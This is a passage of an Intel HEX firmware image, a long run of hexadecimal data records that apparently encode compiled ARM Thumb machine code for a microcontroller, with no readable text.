C431E98416B460021187310\n:1023F000281CF8F717FC431E98416B461B7B98423C\n:10240000DAD0291C201CF8F73FFDFE21041C8905A9\n:102410000198F9F79DF90190CEE70198FBF78AFC46\n:10242000011C051C0198F9F793F9FC218905F8F7BF\n:102430000DFC0028CFD0FE21281C8905F8F724FDCB\n:10244000051CC8E7FF23DB05C918032310B5994312\n:10245000E2F764F910BD10B50022E2F797FB0028FF\n:1024600001D1E2F73BFB10BD10B50400806AFFF715\n:10247000C9FD2000FFF7C6FD10BD30B500230400E4\n:10248000858C9D4201D8002030BDA06ADA008018FA\n:1024900042688A42F8D00133F3E770B504000E00B9\n:1024A0001500FFF7EAFF0023002816D1618CA38CEA\n:1024B0008B4208D30631C900A06AFFF792FD638CF6\n:1024C000A06206336384A38CA06A5A1CDB00C01888\n:1024D0000023A2840360466001332B7070BD10B5E9\n:1024E0004368002B02D1FFF7C8FF10BD1800F7E7C3\n:1024F000F7B544680E001700231E08D1002333707F\n:1025000004E00378022B01D101330370F7BD5D684D\n:10251000002DF3D018003900FFF7AFFF2B00002883\n:10252000F5D00378023B022BE8D8042535706B46C2\n:10253000DE1D320039002000FFF7AFFF3378002B9B\n:10254000DFD005706468F2E770B504000D0000226A\n:1025500001794020E8F7DCFCE3682B60A36858436E\n:10256000686023790020AB6070BD416870B5C268B7\n:102570008C6803000020A24207D29C68551C087991\n:102580001219C968DD60E8F733FD70BD73B50E0040\n:1025900000251C0011000223012230000095DFF706\n:1025A000CDFE2068E7F7DCF80078012E03D1290082\n:1025B000E2F7A0FC76BD6168E2F75AFDFAE710B5D4\n:1025C0000B7901215B001943DEF764FE10BD10B5E5\n:1025D0000023012806D00B7901215B001943DEF7A7\n:1025E000C7F80300180010BD10B57F244018144030\n:1025F000431E1C708024091A64425818002800DC0D\n:1026000010BD2000D209013B10431870F5E730B52A\n:10261000010003687F2500201A78C001140052B21F\n:102620002C4020180133002AF6DB0B6030BD13B5B7\n:10263000421C019202780C000300082A11D81000F5\n:10264000F8F716F907110F0509090F0F0B000533ED\n:102650000193019816BD0333FAE701A8FFF7D7FFEE\n:10266000F7E7192A01D80233F2E701A8FFF7CFFFF5\n:1026700001A8FFF7CCFF002CEBD0019B18180190AC\n:10268000E7E770B50400160008000021A3694D1C9F\n:10269000DB091BD1023104F0F7FE08230370290087\n:1026A0000130A269FFF7A0FF6569A369AB4206D3B9\n:1026B0000835A900E069FFF794FC6561E061A36952\n:1026C000E269591C9B00A1619E5070BD2900DEE7A4\n:1026D00010B50C00022104F0D7FE230A0A33037060\n:1026E000447010BDF8B51E00037804000D001700FB\n:1026F000002B0DD1416883688B420ED31831C9007D\n:102700000122C068FFF77AFC002802D10123237060\n:10271000F8BD6368E06018336360A268E368511C29\n:10272000D2009B18A16019682D022A0A0D0E2D06F1\n:1027300015431D603A789E80DA70069ADA80E7E7E2\n:1027400010B50C00052104F09FFE03230370431C09\n:1027500005301C70013324128342FAD110BDF0B54C\n:10276000046A89B02300403303931D7807000E00EC\n:10277000072D0BD1A16CE06CF2F7BAFF010030001D\n:10278000FFF7A6FF2000F3F75BFD4DE0082D0DD10C\n:1027900000222300A16CE06CE8F7B4FD0200C3073F\n:1027A0000ED541103000FFF7CBFFEBE7092D0CD120\n:1027B000009401220023A16CE06CE8F71FFE0200E8\n:1027C00031003800FFF75DFFDCE72B000A3B012BEF\n:1027D00040D8A16C04A804F017FEA26CE16C04A818\n:1027E00004F0F6FD2000F3F72BFD039B1B789D42C0\n:1027F000F3D00A3B0020012B17D9059906980A2926\n:1028000015D8F2F775FF041E14D00A3D03213000DD\n:1028100004F03AFE6B1E9D4144700435240A057095\n:10282000847004A804F012FE012009B0F0BDF2F794\n:102830002DFFE8E7069805990A2D08D12200E6F752\n:1028400051FB020031003800FFF71BFFE9E7E6F714\n:1028500061FBF6E70221300004F016FE012345700B\n:1028600003708FE713B50130019001A80C00FFF74A\n:10287000CEFE2060019816BD002330B50B60451CCC\n:10288000EA5CDC00A2400C68013322430A60042B9E\n:10289000F6D1053030BD07B501A9FFF7EDFF01986E\n:1028A0000EBD37B5150002780C00032A07D1FFF7DB\n:1028B000F2FF012340001843206018003EBD0023B2\n:1028C000082AFAD101A9FFF7CDFF019B9B005B59B4\n:1028D00023600123F1E770B50D000024A84201D365\n:1028E000200070BD01210134FFF7A1FEF6E710B50D\n:1028F0000121FFF79CFE10BD10B50021FFF797FEE8\n:1029000010BD13B50130019001A80C00FFF77FFE48\n:1029100001A8FFF77CFE019B18182060180016BD67\n:1029200013B5040000680378002B02D10130206049\n:1029300016BD192B03D80121FFF779FEF8E71A31EC\n:102940008B42F8D101A9FFF7DCFF20600198EFE787\n:1029500037B51C00431C0193037801A81A3B0B6098\n:102960001500FFF754FE286001A8FFF750FE019BF9\n:102970001818206018003EBD07B501A9FFF7C1FF78\n:10298000019B181A43425841C0B20EBD10B5806871\n:10299000002800D110BD4468FFF734FB2000F7E7A2\n:1029A00040687047F0B51C0087B00EAB1B780F0075\n:1029B00005930FAB1B7804920393A36806000D9A4E\n:1029C00018010C99039BECF7B5FD3B6805008342A9\n:1029D00003D2FFF7E8FA30603D603568039B201DA5\n:1029E00000930195059B0D9A0C9904F08BFA049BBA\n:1029F0001860280007B0F0BDF8B50E0017000500FC\n:102A0000E3F7F6F804003B0032002900043003F03D\n:102A1000CDFE2000F8BDF8B50F0015001E00040023\n:102A20000021180006F0D3FD33002A003900201DD4\n:102A300004F003FAF8BD01220300104005D0134151\n:102A40000AD41800431E9841704799680029FBD0AA\n:102A50001B7910001342F7D001204042F4E7D3B5B0\n:102A60000F000600E3F7C4F80123040000933200CE\n:102A70003B00043003F0C1FD2000D6BD43001A0026\n:102A800010B5424002D40120184310BDC117FFF712\n:102A9000E6FFFAE7D3B50F000600E3F7A9F8002335\n:102AA0000400009332003B00043003F0A6FD200038\n:102AB000D6BD10B5830F03D140000133184310BDBC\n:102AC0000021FFF7E7FFFAE7F0B585B004000E003C\n:102AD00017000393E3F78CF8039B05000093320083\n:102AE0003B002168043003F010FE236818182060B2\n:102AF000280005B0F0BD10B5C30701D5401010BDCA\n:102B0000043004F086F9FAE710B5043004F0DCF97B\n:102B100010BD10B5140008001100F2F779FF200075\n:102B200010BDFC30C16002617047002370B5040025\n:102B30001D007F26AA00A218FF32517C7F2906D1F2\n:102B400002339B0019552000F1F7AAFB70BD013537\n:102B5000EDB27E2907D102339B001E552000F1F70C\n:102B60009FFB0023E6E70029E4D0980020180172BB\n:102B7000917C01334172D17CDBB28172127DC272D1\n:102B8000D8E78023F0B55B0587B01D69E3F7F0FE59\n:102B9000037805AFFD2B19D1E3F7EAFE03783B700C\n:102BA000E3F7E6FE0400E3F7EFFE01950090009BDB\n:102BB00020009C4217D1FFF794FB0122390020002E\n:102BC000E1F7A0FCE3F73EFF07B0F0BDE3F7DCFE62\n:102BD00003783B70E3F7D8FE0400E3F7C9FE6B42CD\n:102BE00000900193E3E7FFF77CFB2000FFF779FB00\n:102BF0008023019A2500A21816005B051B6902922A\n:102C0000DB09DB011B190393039B029C9D42CED081\n:102C10003378002B04D0802231002800E1F772FCC9\n:102C200080358036F0E770B5050006F024FD0023FE\n:102C300001001A002800E4F70DF8041E06D0280051\n:102C400004F0A3FC2100E4F78BF90400200070BD20\n:102C500070B5146801292DD9102523000178AB43E4\n:102C600015D1302920D146781039831C3143782979\n:102C700002D11560181A70BD002C1FD16F2902D126\n:102C800067391160F6E7622916D16039F9E7030068\n:102C9000082C15D13029EDD1202243781A430300A6\n:102CA0006F2AE7D1831CE5E70300082CE2D003007C\n:102CB000022CDFD0002C01D10A2313600300D9E7D6\n:102CC000022CD7D13029D5D1202243781A430300D2\n:102CD000622ACFD1E6E710B5E9F7DAFEFBF7EEF9A5\n:102CE000ECF78AFB10BD10B5E9F7D2FEFBF722F82E\n:102CF000ECF782FB10BD10B5E9F7CAFEFAF794FFB6\n:102D0000ECF77AFB10BDF7B51D0000260223070083\n:102D10000096080011001A00DFF710FB0C20FFF7E7\n:102D200042F907602B680400436031006868DDF7F2\n:102D300087FEA0602000FEBDF0B585B000AFBB608F\n:102D40005B009B185C1C78603960FA60A400042B5F\n:102D50001FD86A46E31DDB08DB00D31A9D46002618\n:102D60006D4628003B68221F08C0B96A06F013FCB4\n:102D7000F9682B000131BA687868DDF76BFD040053\n:102D8000002E02D03000FFF73DF92000BD4605B00F\n:102D9000F0BD2000FFF714F9051EDAD00600E0E7C9\n:102DA00007B5009313000A0081684068FFF7C4FF6D\n:102DB0000EBD70B50500080004F074FBFFF733FF8B\n:102DC00004002800FFF7ECFD0121020003002000B1\n:102DD000DEF710FA70BD07B5F4216A46FF31DDF762\n:102DE000B1FD0098431E9841C0B20EBD13B504005A\n:102DF0004068DDF787FE00280BD0A36801905A1CBD\n:102E0000A26001225B001343694602200093EFF7A2\n:102E100071FE16BDF8B507000C201D000E00FFF76F\n:102E2000C2F80760040000212868DDF709FE606031\n:102E30000020012E02D96868E9F7C4FDA0602000D7\n:102E4000F8BD10B508001100F2F7F0FD10BD70B527\n:102E5000050008000E0006F00EFC041E04D002005F\n:102E60006B68310028689847200070BDF0B58DB0C0\n:102E7000039314AB1B780E0004930F2304A95B1873\n:102E800000210500139F19708A4220D08E421ADA61\n:102E90002D2276421A70129B0CAC0A3B05930399C3\n:102EA0003000F7F77FFD0B003033092901D9059B6E\n:102EB0005B18013C237008AB9C4210D0039BB342CB\n:102EC0000DD80600EBE7BA072ED52B221A70002E7C\n:102ED000E1D130221F2408ABDA7304ABE4180F21D0\n:102EE000402604ABC9183E400B78002E20D00026A7\n:102EF000B3420BD00122049B0192009328003B00B7\n:102F0000E4F76AFC0600159B013B15930CAB1A1BFA\n:102F1000159B21000193049B280000933B00E4F7DC\n:102F20005BFC30180DB0F0BD7A07D0D52022CDE77C\n:102F3000002BEBD008AA9442E8D9013C2370E5E7C6\n:102F4000F0B51F008DB012AB1B7802900393081CE4\n:102F50002B23B90702D47B07DB0F5B010193149B82\n:102F600004AC0093210013002022E4F7EFFE0600DA\n:102F7000FB0507D5431C1F2B04D825222254002211\n:102F80001E00E254402521003D4012D0002322784B\n:102F90001D002F2A0DD80122009301920298E4F718\n:102FA0001BFC09210500139B013E013B139302AB5F\n:102FB000C918139B32000193039B029800933B00B6\n:102FC000E4F70AFC28180DB0F0BD0EB403B503AA4F\n:102FD00002CA0192E4F772FD02B008BC03B01847C0\n:102FE000F0B5062514001268CB0006008BB00F0068\n:102FF00004301D43002A29D12900F3F7D9FB00280A\n:1030000002D0436823601FE005AB18740790316855\n:103010001800059606970894E5F74AFA2368019385\n:10302000002B11D1F22149008F420DD002AA3000AD\n:10303000DDF788FC029B002B06D002AA0199012033\n:103040000495FEF7C3FE20600BB0F0BD6668002E4D\n:1030500007D102222900F3F7ABFB0028F4D00023AC\n:10306000D0E701222900F3F7A3FB4660F7E737B565\n:103070001D000023009301330400080011001A0012\n:10308000DFF75CF90820FEF78EFF2B6843600460D1\n:103090003EBD37B51C000023009302330500080035\n:1030A00011001A00DFF74AF90C20FEF77CFF2368B5\n:1030B00062680560826043603EBD30B514001268EE\n:1030C00087B0002A0CD101AB01900291039201005C\n:1030D0000132180004941A74E5F7EAF907B030BD1C\n:1030E000806B0028FAD0CB000621656804301943B4\n:1030F000002D06D10222F3F75BFB0028EED02560FD\n:10310000ECE70122F3F754FB0028E7D06368436043\n:1031100000232360E2E7F0B58BB003AD040001911A\n:10312000170000210822280006F051FA2C2305A8D8\n:10313000836001260023216803744660C5600594FE\n:10314000E5F7B6F9039B3000042B07D12069E9F7B6\n:1031500055FB3A00C36A0199206998470BB0F0BD4E\n:10316000F0B589B001AE040008220F003000002144\n:1031700006F02DFAF523002503A85B004360C73B4A\n:10318000FF3B21688360C66005740394E5F790F9FE\n:103190000198A84208D0042808D12069E9F72EFB3D\n:1031A0003900436A2069984709B0F0BD3200290010\n:1031B0002800FEF70BFEF7E710B5EE24002288B0DA\n:1031C000640003AB01A90494CD3C03900691FF3C3D\n:1031D000016818001A74019202920594E5F768F9E3\n:1031E0000198431E9841C0B208B010BD10B50C0044\n:1031F000E9F704FB2100E5F733FD10BD70B50D00C4\n:103200000400E9F7FBFA2900E5F7FAFC031E00D0F9\n:103210002369180070BD30B5884213D20378303B63\n:10322000092B0FD800230A251360136804786B4319\n:10323000303C1B1901301360814203D00378303BCE\n:10324000092BF2D930BDF7B51E0000900192002580\n:10325000994215D3CF1A089B2C00AB4201DC3C00ED\n:103260002F00009B32001D190199280006F085F9F6\n:10327000002805D0BC4202D0089BE418F1E70025E5\n:103280002800FEBDF8B50600102015000F00FEF75F\n:103290008AFE040006608560002F0FD029003800E8\n:1032A000F2F7D6F96060681CFEF77DFE2A00E06048\n:1032B0003900060006F06FF9002373552000F8BDB1\n:1032C00010B500230122E5F721FF10BD012210B542\n:1032D00000235242E5F71AFF10BD012310B51A0072\n:1032E000E5F714FF10BD012210B513005242E5F7B7\n:1032F0000DFF10BD10B50A0001000220E5F7C2FF66\n:1033000010BD10B50A0001000020E5F7BBFF10BD9D\n:1033100010B50A0001000120E5F7B4FF10BDF0B5BB\n:103320000C0095B004280AD1C868E9F74BFB0028C7\n:1033300002D1206815B0F0BD0690002802DA012302\n:103340005B4206932068E9F759FA08906068E9F74C\n:1033500055FA089B0500984202D06068E5F70EFD1B\n:10336000A068E9F74BFAA84201D0A068F6E70DA9DA\n:103370002068E5F7F1FD0EA909906068E5F7ECFD1E\n:103380000FA90B90A068E5F7E7FD0E9B0D9A0A9038\n:1033900000269342CDD80E9B0D9F002B5BD1002EB3\n:1033A00004D00F9A0A99300006F0F5F80F9B0393AA\n:1033B00001230493099D26E0079F7B425F41059B03\n:1033C000DB1905935F1B002E05D0039B3A00F01814\n:1033D000290006F0E0F8039BDF19002E04D0F01955\n:1033E0000F9A0A9906F0D7F80E9A0F9B9446FB188D\n:1033F0000393059B0D9A63441D00099B9F18049B32\n:103400007F1B01330493069B049A93420ED0002F36\n:103410000CD00E9B0B9A07930123390000932800D0\n:10342000079BFFF710FF05900028C5D1002E05D09F\n:10343000039B3A00F018290006F0ADF8039BF91839\n:10344000002E0CD1049B002B00D172E710A803F0D2\n:10345000ECFF129E9FE7002304930393AAE710A9B1\n:103460000898E5F709FD65E7F0B50D0089B003A9F7\n:1034700007002800E5F770FD00240600039904A862\n:1034800003F0D3FF069B0193039BA34207D82800B8\n:10349000E9F7B4F904A9E5F7EFFC09B0F0BD305D38\n:1034A000B847019B18550134EEE713B50C00012A0B\n:1034B00009D101A9E5F750FD019B2060636042231B\n:1034C0000020A36016BD00230B604B60013B8B60A6\n:1034D0000120F7E713B5040001A98068E5F73CFD7A\n:1034E000E3680199020000208B4205D2D25C0130D2\n:1034F000520001331043E36016BD07B501A9E5F79B\n:103500002BFD0199F2F7F4F8C300062018430EBD15\n:10351000836870B55D1C040085604068E9F7C4FBF2\n:10352000E9F750FA854201DB0023A3600121A3687B\n:1035300004225B0019436068E9F7CCFB70BD73B5EA\n:10354000050001A98068E5F707FDEB68019A040012\n:10355000002093420CD2E418200003F0C9FE061BA1\n:10356000310001222000E5F7BDFCEB689E19EE60FA\n:1035700076BD10B544680C6081681160C2681A603D\n:1035800010BD10B50C00F7F7F7FA002903DA002C8C\n:1035900005DC080010BD0029FBD0002CF9DA091960\n:1035A000F7E710B5002806DB002901DACB43C01885\n:1035B000F7F7FCF910BD0029FADB401A0130F7E7F4\n:1035C000F7B51C000125002A02D1431EE418023D74\n:1035D00000220023002906D000230027E356DE0F37\n:1035E00000237242BB4100210DE0160E00961E0220\n:1035F0000196267817023E433200009F019E64190F\n:103600003E43330001318142EFD11000190003B075\n:10361000F0BD13B5040001931000002904D122006D\n:1036200001A905F0B8FF13BD01AB1B191419A04285\n:10363000F9D0013B197801700130F8E770B50C0042\n:10364000512826D010D8482820D004D8012814D0DA\n:10365000422812D070BD4C2803D0502801D04928F0\n:10366000F8D192001351F5E768280FD007D86428E5\n:103670001BD0662813D06228ECD1A354EAE76C284B\n:10368000EFD0712805D06928E4D1EAE7520013533E\n:10369000E0E7D200A2181360DB175360DAE71800E6\n:1036A0009500F8F72FFA2851D4E7D20018008C18AB\n:1036B000FAF766F820606160CCE7816810B5C368EE\n:1036C0008C6802000020A34204D2C968980001332C\n:1036D0004058D36010BDF0B585B001900E00009247\n:1036E0000293DEF75FFA019BB34201D305B0F0BD50\n:1036F000019B3768043B0393009B002B04D03900E7\n:103700001800FEF75BFB07003500039B1C1DA5425C\n:103710000AD9009B2168002B1AD13A001920DDF745\n:10372000B9FD029B984211D0043DAC4225D2009BCA\n:10373000002B12D12A6839001920DDF7ABFD029B5E\n:103740009842F1D023682A6822602B600394DCE75A\n:103750000098FEF733FB0100DFE729680098FEF7C9\n:103760002DFB0200E7E72900029B009A0198FFF772\n:10377000B2FF35002E000197B5E723683268039F3A\n:1037800022603360341B019BA410EB1A013C083704\n:103790009B10A342E7DB3800029B009A3100FFF741\n:1037A0009AFF019FE6E710B50C6802000B00E06885\n:1037B000A168EDF7B7F910BD70B50400080000214D\n:1037C000DDF73EF905002800DDF79CF90100200037\n:1037D000002900D170BDE7F779FFF4E710B50A00C2\n:1037E0008168C06801F009FD10BD70B505001020AA\n:1037F000FEF7D9FB04002900E8F7A0F8200070BD0F\n:1038000073B50D00002411001E0000940123220056\n:103810002800DEF793FDA54203D12800FFF7E5FF5E\n:1038200076BD2000FFF7E1FF3168FFF7C5FFF7E73E\n:1038300070B50D000400FFF7D8FF002D03D0002362\n:10384000A400A34200D170BDE958C268D15004332E\n:10385000F7E710B5C1688068FFF7EAFF10BD83681D\n:103860000B60C368136070478160704770B50023B8\n:10387000150004000A0081680068E9F77DF9E36833\n:103880008000C55070BD4123012800D000231800DE\n:103890007047202304304B60423308608B60002067\n:1038A0007047A021037802000020C133FF33C9050F\n:1038B0009B005850012318000138C046C046C0463E\n:1038C000C046C046C046C046C046C046C046C046C8\n:1038D000C046F1D1A220C00008581278D04018404C\n:1038E000704710B50120E8F7A9FB10BD022310B501\n:1038F00084171C40013B1C1B802342021B04520AFC\n:10390000C0151A43C3B2963B5918002903DD8A40FB\n:103910002000504310BD0B0000201F33FADB49424A\n:103920000A41F5E707B508001100002200921300D4\n:10393000DEF704FDE8F748FD0EBD704710B50C003A\n:10394000022100F08AF9002802D00470240A447091\n:1039500010BDC36910B50400002B04D0B0210902CA\n:103960001943FFF7EBFFBD21A369090219432000AA\n:10397000FFF7E4FF10BD70B50D000421140000F046\n:103980006CF9002805D0057084702D0A240A457052\n:10399000C47070BD10B5DB0011431943FFF7CEFFB3\n:1039A00010BD10B5072A09D8D20007290CD80A4340\n:1039B0008C21C9011143FFF7C1FF10BD1300402244\n:1039C000083BDB001A43F0E7083911438022EEE799\n:1039D0004369890070B5CC58E021050043680902AD\n:1039E000E41A043C23055B0D1943FFF7A7FF2B687E\n:1039F0000120022B07D1E40AE40204D080231B013A\n:103A0000E4186042604170BDF8B51D004369920042\n:103A1000D45843680600E41A043C6310002D14D106\n:103A2000FF2709023B400B43D02109021943FFF74E\n:103A300085FF33680135022B05D1BC4303D0013427\n:103A4000FF34654265412800F8BD80221B059201C4\n:103A500022401B0D1343802212021A438023A0121E\n:103A6000DB0024031840A40E044389010C43F02119\n:103A7000090221433000FFF77EFFE4E74369F822A3\n:103A8000890070B5CC58F021050043681202E41A91\n:103A9000043C63109BB21A4363025B0D0902194395\n:103AA000FFF769FF2B680120022B07D1A40DA405A5\n:103AB00004D08023DB03E4186042604170BD8020A5\n:103AC00010B5C005F3F79AF8FE23FE2140029B05CE\n:103AD000400A18438905F7F73BFE10BD70B50D008D\n:103AE000E8F770FF04002800E8F76CFF844202DD6D\n:103AF0000020DDF7C7FB001B0130F3F77FF800194A\n:103B0000FEF7BCFF70BDF8B5070008680C00E8F7C9\n:103B100059FF0600012F09D1002804DDF3F76EF8E4\n:103B2000FEF7ACFFF8BD0020DDF7ACFB6068E8F7FE\n:103B300049FF851B022F06D18642F4DA2800F3F7ED\n:103B40005DF88019ECE7A068E8F73CFF041E0ADD89\n:103B5000281801382100F6F729FF0028E3DDF3F7E4\n:103B60004DF86043EDE70028DDD028180130F1E77B\n:103B700010B5E8F727FF04001E2801DC002802D159\n:103B80000020DDF77FFB8020C005F3F737F8202207\n:103B90000123121B5B42D3401840FEF78AFF10BD81\n:103BA000F8B505000C00160003F067FD0700A02320\n:103BB000A222DB05D2009B580122EB401340A34216\n:103BC00010D103F05AFD0700A023A222DB05D2008A\n:103BD0009B580122EB401340A3420BD003F04DFD54\n:103BE000C01BF8BD03F049FDC01BB042DFD302206B\n:103BF0004042F6E703F041FDC01BB042E4D3012090\n:103C0000F6E710B5040001618800FEF7CCF96061A9\n:103C100010BD10B50400002902D0C068FEF7F2F90B\n:103C20006069FEF7EFF910BD70B504000D000129C1\n:103C30000AD10121036949429A00406905F0C7FC95\n:103C400000232560636070BD0229F9D14068FEF74A\n:103C5000AAF96368E060A360F2E710B504684268FF\n:103C60000023022C01D1C3689B18891841601800F9\n:103C700010BD0368012B03DC426843698900CA5008\n:103C8000704742684B1E9B1849421940416070477B\n:103C900070B50C001500FFF7E0FF0419002803D1F0\n:103CA00070BD05702D0A0130A042FAD1F8E770B559\n:103CB0000D000400E8F7A2FD2900036A0422200099\n:103CC000984770BD70B50D0016000400E8F796FD2A\n:103CD0003200036A29002000984770BD70B50D00BE\n:103CE0000400E8F78BFD2900036A002220009847B2\n:103CF00070BD70B50D000400E8F780FD2A008369EF\n:103D000021001F20984770BD704710B5E8F776FD79\n:103D1000406803F073FC10BD10B5830702D0FEF7B6\n:103D2000ADFE10BD002803DB012340001843F8E777\n:103D3000FEF7BFFEF5E7704770B504000D001600F2\n:103D4000E8F75CFDC36A181E06D032002900200087\n:103D5000984743425841C0B270BD0023022802D1A7\n:103D6000490001330B4318007047F0B585B003904C\n:103D700008000D0000F0F7FE0524042803DC2800ED\n:103D800000F0F1FE0400280000F0FBFE05270428E7\n:103D900003DC280000F0F5FE0700039B04330193C9\n:103DA000002302930093009BA34211DBE343DB1744\n:103DB0001C4005236343039AD3180022042C29DCFA\n:103DC0001A715A719A71DA711A7201340533F5E772\n:103DD0000026BE4209DBFB430022DB173B40052BDC\n:103DE00011D00199CA540133F9E732000099280033\n:103DF00000F0ACFE019B029A9855012383401A43C0\n:103E000002920136E5E7009B01330093019B0533E5\n:103E10000193C8E7039B029A1A8405B0F0BD73B5FD\n:103E2000060008000D00002405F025FC2300010019\n:103E3000220028000094ECF797F901230100009379\n:103E4000300023009622EAF74FF873BD70B50400E6\n:103E500008001600E8F7B6FD05003000E8F7B2FDEF\n:103E6000290002002000EAF78FF9430001201843DF\n:103E700070BDA02104230320C9051A00C132FF32FE\n:103E8000920001335050102BF7D17047F0B585B038\n:103E90001D000AAB1B7817000393039A0368029076\n:103EA00000911B6B920719D55B68002401932C606D\n:103EB000002F10D02B003A0000990298019EB047C5\n:103EC000002808D0431C0BD12B680B2B03D1002CEE\n:103ED00001D000232B60200005B0F0BD1B68E4E793\n:103EE0000122039B134205D1009B3F1A1B1800932C\n:103EF0002418DDE70400EEE710B50022EAF7BCFC69\n:103F000010BD30B50C0087B00500012203A9606820\n:103F1000E8F712FF032D12D1A068E8F77FFD00211A\n:103F2000049B5A1A01930492824200D90200039B17\n:103F3000206859180223EAF715FE07B030BD042D9A\n:103F40000BD1A068E8F76AFD0500E068E8F766FDB8\n:103F50000499A942E4D92900E2E701200021404266\n:103F6000DEE74368F7B505009800FEF71CF8002669\n:103F700007006968B14206D83B000022A868DCF758\n:103F800069FC04000CE0B30001932B00B2000C3379\n:103F90009858DCF7B7FD041E04D13800FEF732F85C\n:103FA0002000FEBDB300F8500136E2E770B5038C87\n:103FB000046B032B03D10023C56A9D4205D18B00FE\n:103FC000E250FFF756FE012070BD9E00A6599642B2\n:103FD00001D00133F1E70020F6E710B50400FFF748\n:103FE000B8FC2000FFF7A9FC10BD8BB270B505002E\n:103FF0000C0003844262032B05D1C36A00219A009E\n:10400000006B05F0E4FA043C614261412800013193\n:10401000FFF70AFE28000021E8F750FA70BD70B5DE\n:10402000060034200D00FDF7BEFF04002022002111\n:1040300005F0CDFA29002000FFF7E3FDA662E56256\n:10404000A800FDF7B0FF2063200070BD10B504008C\n:10405000006BFDF7D7FF00212000FFF7DAFD2000FD\n:10406000FDF7D0FF10BD102230B58DB006920022B2\n:104070000392029201920A320B000500009206A9F7\n:1040800007AA08AC05A80594EBF770FA0100280010\n:10409000FEF7DDFE0598A04201D0FDF7B3FF0DB09D\n:1040A00030BD73B50B0069464C1D21007F261500FD\n:1040B000013C35402570D209F9D1091B984780266B\n:1040C0000200230001AD7642AB4204D16A46127968\n:1040D0001B1BC25473BD1978013331431170013277\n:1040E000F2E70300006A5A790918032A02D8180077\n:1040F000196270471A6B1018FAE710B50C0001210D\n:10410000FFF7EFFF047010BD0300806A5A790918A9\n:10411000032A02D81800996270475A6A80181A6BED\n:104120001018F8E710B50C000121FFF7EDFF04703F\n:1041300010BD10B52821EBF7F3FA10BD10B52921F9\n:10414000EBF7EEFA10BD70B504001500FFF7EAFFBB\n:104150000322A36A042103339343A3622000FFF7E1\n:10416000D3FF056070BD70B543790D000024032BAB\n:1041700006D9836A033CE41AC3699200D358E41851\n:104180000321FFF7C1FF4470240A0570847070BDDD\n:1041900010B53820FDF719FF10BD10B5040081617E\n:1041A0008800FDF700FFE06110BD10B50400C06994\n:1041B000FDF728FF2000FDF725FF10BD13B543795B\n:1041C0000400012B18D00021FFF797FF6379032B20\n:1041D00013D1226AD01C9843A36A20626062E36212\n:1041E000C018FDF7F2FEE3682063D88A1B8BC01865\n:1041F0008000FDF7EAFE606313BD042BFCD1E0688C\n:10420000636AE26A216B9A18037D00930069636B0D\n:10421000F0F784FDF0E78079431E9841C0B2704703\n:104220004379012B09D08368C918C3688160DA8B90\n:10423000914200DDD98300238371704770B501215D\n:1042400014000500FFF7ECFF0F2C06D821005039B1\n:10425000C9B22800FFF766FF70BD220019212800AF\n:10426000EBF75EFAF8E770B5150004000121FFF7DF\n:10427000D7FF2A001A212000EBF752FA70BD70B563\n:104280000D0004000121FFF7CBFF2A001B212000B5\n:10429000EBF746FA70BD70B50D0004000121FFF781\n:1042A000BFFF2A001C212000EBF73AFA70BD012164\n:1042B00070B5494214000500FFF7B2FF0F2C06D875\n:1042C00021004039C9B22800FFF72CFF70BD220041\n:1042D00022212800EBF724FAF8E7012170B5150038\n:1042E00004004942FFF79CFF2A0023212000EBF73E\n:1042F00017FA70BD70B50D00012104004942FFF7A7\n:104300008FFF2A0024212000EBF70AFA70BD70B558\n:104310000D00012104004942FFF782FF2A002521F8\n:104320002000EBF7FDF970BD70B50D000400002111\n:10433000FFF776FF2A002A212000EBF7F1F970BD84\n:1043400070B50D0004000021FFF76AFF2A002B2141\n:104350002000EBF7E5F970BD70B505000498C91AA7\n:10436000440000021843059B091B0600D4B2002B31\n:104370000AD002392800FFF753FF32000134E1B2BE\n:104380002800EBF7CDF970BD2800FFF749FF320098\n:104390002100F5E770B504000D000021FFF740FF94\n:1043A0006379012B05D0032B03D8A26AE369AD0022\n:1043B000EA5070BD70B50D00012104004942FFF7BD\n:1043C0002FFF2A0068212000EBF7AAF970BD70B515\n:1043D0000D0004000121FFF723FF2A0069212000BE\n:1043E000EBF79EF970BD012110B504004942FFF7BB\n:1043F00017FF6A212000FFF795FE10BDF7B50C00EE\n:1044000001210500FFF70CFF230010333F2B06D8D6\n:1044100021008039C9B22800FFF784FEF7BD1421BE\n:104420002800FFF77FFE6B46053319007F20E2B2BC\n:1044300017005E1E0740E4113770671C012F18D863\n:1044400040273A40013416D1002A02D1023B1870AD\n:104450001E002800891BFFF757FE8025020033004D\n:1044600001AC6D42A3420CD16A4612799B1BC25427\n:10447000D4E73300DBE7002AEBD00022023B1A70BE\n:10448000E6E719780133294311700132EAE770B584\n:104490000D0004000121FFF7C3FE2A0016212000B1\n:1044A000EBF73EF970BD70B504000D000121FFF778\n:1044B000B7FE20001721FFF735FE0322A36A04216F\n:1044C00003339343A3622000FFF71EFE056070BD17\n:1044D00010B504000121FFF7A3FE18212000FFF70B\n:1044E00021FE10BD70B50D0004000021FFF798FEFD\n:1044F0002A001D212000EBF713F970BD70B50E00E6\n:10450000012114005300C91A0500FFF789FE21009C\n:104510004C1EA141320028001E31EBF701F970BD9D\n:1045200010B504000121FFF77BFE20212000FFF7DA\n:10453000F9FD10BD012110B504004942FFF770FEDE\n:1045400021212000FFF7EEFD10BD70B50D00022106\n:1045500004004942FFF764FE2A0026212000EBF701\n:10456000DFF870BD032110B504004942FFF758FE83\n:1045700027212000FFF7D6FD10BD10B50400012152\n:10458000FFF74EFE30212000FFF7CCFD10BD10B527\n:1045900004000221FFF744FE31212000FFF7C2FD95\n:1045A00010BD012110B504004942FFF739FE322148\n:1045B0002000FFF7B7FD10BD10B504000021FFF784\n:1045C0002FFE33212000FFF7ADFD10BD70B50400B4\n:1045D0000D00FFF77DFF2000FFF7EEFF2900200010\n:1045E000FFF7B3FF70BD10B504000021FFF718FE00\n:1045F00034212000FFF796FD10BD10B50400FFF731\n:1046000067FF2000FFF7EFFF2000FFF7ABFF10BDB3\n:1046100070B50D0004000021FFF702FE2A003521CD\n:104620002000EBF78BF870BD70B50E00012115006E\n:1046300049420400FFF7F4FD2A003621002E00D184\n:1046400037212000EBF77AF870BD70B50E0001211C\n:10465000150049420400FFF7E3FD2A003821002E2F\n:1046600000D139212000EBF769F870BD70B50D005D\n:1046700004000221FFF7D4FD2A003D212000FFF7AE\n:1046800072FD70BD70B50D0004000021FFF7C8FD7C\n:104690002A003F212000FFF766FD70BD70B50D00B8\n:1046A00004000021FFF7BCFD2A0040212000FFF795\n:1046B0005AFD70BD012110B504004942FF